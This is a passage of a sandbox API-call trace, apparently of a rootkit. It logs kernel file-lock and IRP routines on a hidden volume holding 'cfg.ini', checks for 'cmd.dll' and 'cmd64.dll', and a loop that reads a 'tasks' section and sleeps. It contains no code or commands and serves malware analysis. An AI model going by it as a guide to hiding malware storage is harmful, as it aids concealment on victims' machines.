FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.542] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.542] IdePortDispatch () returned 0x103 [0126.543] KeWaitForMutexObject () returned 0x0 [0126.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.543] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.543] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.543] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.543] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.543] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.543] KeLeaveCriticalRegion () [0126.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.543] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.543] KeEnterCriticalRegion () [0126.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.543] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.543] KeLeaveCriticalRegion () [0126.543] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.543] KeEnterCriticalRegion () [0126.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.543] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.543] IdePortDispatch () returned 0x103 [0126.544] KeWaitForMutexObject () returned 0x0 [0126.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.544] KeLeaveCriticalRegion () [0126.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.544] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.544] KeEnterCriticalRegion () [0126.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.544] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ea000 [0126.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.544] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.544] IdePortDispatch () returned 0x103 [0126.544] KeWaitForMutexObject () returned 0x0 [0126.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.544] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.544] IdePortDispatch () returned 0x103 [0126.544] KeWaitForMutexObject () returned 0x0 [0126.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] KeLeaveCriticalRegion () [0126.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.545] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.545] KeEnterCriticalRegion () [0126.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] KeLeaveCriticalRegion () [0126.545] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.545] KeEnterCriticalRegion () [0126.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.545] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] KeLeaveCriticalRegion () [0126.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.545] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.545] KeEnterCriticalRegion () [0126.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.545] KeLeaveCriticalRegion () [0126.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.545] ReleaseMutex (hMutex=0xf0) returned 1 [0126.546] Sleep (dwMilliseconds=0x927c0) [0126.564] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.564] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.564] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.564] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.564] KeEnterCriticalRegion () [0126.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.565] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.565] IdePortDispatch () returned 0x103 [0126.565] KeWaitForMutexObject () returned 0x0 [0126.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.565] KeLeaveCriticalRegion () [0126.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.565] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.565] KeEnterCriticalRegion () [0126.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.565] KeLeaveCriticalRegion () [0126.565] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.565] KeEnterCriticalRegion () [0126.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.565] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.565] IdePortDispatch () returned 0x103 [0126.565] KeWaitForMutexObject () returned 0x0 [0126.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.566] KeLeaveCriticalRegion () [0126.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.566] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.566] KeEnterCriticalRegion () [0126.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f1000 [0126.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.566] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.566] IdePortDispatch () returned 0x103 [0126.566] KeWaitForMutexObject () returned 0x0 [0126.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.566] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.566] IdePortDispatch () returned 0x103 [0126.566] KeWaitForMutexObject () returned 0x0 [0126.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.566] KeLeaveCriticalRegion () [0126.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.567] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.567] KeEnterCriticalRegion () [0126.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] KeLeaveCriticalRegion () [0126.567] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.567] KeEnterCriticalRegion () [0126.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] KeLeaveCriticalRegion () [0126.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.567] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.567] KeEnterCriticalRegion () [0126.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.567] KeLeaveCriticalRegion () [0126.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.567] ReleaseMutex (hMutex=0xf0) returned 1 [0126.567] Sleep (dwMilliseconds=0x927c0) [0126.601] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.601] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.601] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.601] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.601] KeEnterCriticalRegion () [0126.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.601] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.601] IdePortDispatch () returned 0x103 [0126.601] KeWaitForMutexObject () returned 0x0 [0126.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.601] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.601] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.601] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.601] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.601] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8150 [0126.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] KeLeaveCriticalRegion () [0126.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.602] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.602] KeEnterCriticalRegion () [0126.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] KeLeaveCriticalRegion () [0126.602] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.602] KeEnterCriticalRegion () [0126.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.602] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.602] IdePortDispatch () returned 0x103 [0126.602] KeWaitForMutexObject () returned 0x0 [0126.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] KeLeaveCriticalRegion () [0126.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.602] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.602] KeEnterCriticalRegion () [0126.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f8000 [0126.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.602] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.602] IdePortDispatch () returned 0x103 [0126.603] KeWaitForMutexObject () returned 0x0 [0126.603] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.603] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.603] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.603] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.603] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.603] IdePortDispatch () returned 0x103 [0126.603] KeWaitForMutexObject () returned 0x0 [0126.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.603] KeLeaveCriticalRegion () [0126.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.603] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.603] KeEnterCriticalRegion () [0126.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.603] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.603] KeLeaveCriticalRegion () [0126.604] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.604] KeEnterCriticalRegion () [0126.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.604] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.604] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e0bf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.604] KeLeaveCriticalRegion () [0126.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.604] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.604] KeEnterCriticalRegion () [0126.604] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.604] ExFreePoolWithTag (P=0xfffffa8003bf8150, Tag=0x0) [0126.604] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.604] KeLeaveCriticalRegion () [0126.604] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.604] ReleaseMutex (hMutex=0xf0) returned 1 [0126.604] Sleep (dwMilliseconds=0x927c0) [0126.618] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.618] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.619] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.619] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.619] KeEnterCriticalRegion () [0126.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.619] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.619] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.619] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.619] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.619] IdePortDispatch () returned 0x103 [0126.619] KeWaitForMutexObject () returned 0x0 [0126.619] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.619] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.619] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.619] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.619] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.619] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4bd0 [0126.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.619] KeLeaveCriticalRegion () [0126.619] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.619] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.619] KeEnterCriticalRegion () [0126.619] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.619] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.619] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.619] KeLeaveCriticalRegion () [0126.619] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.619] KeEnterCriticalRegion () [0126.619] ExAcquireFastMutexUnsafe (in: 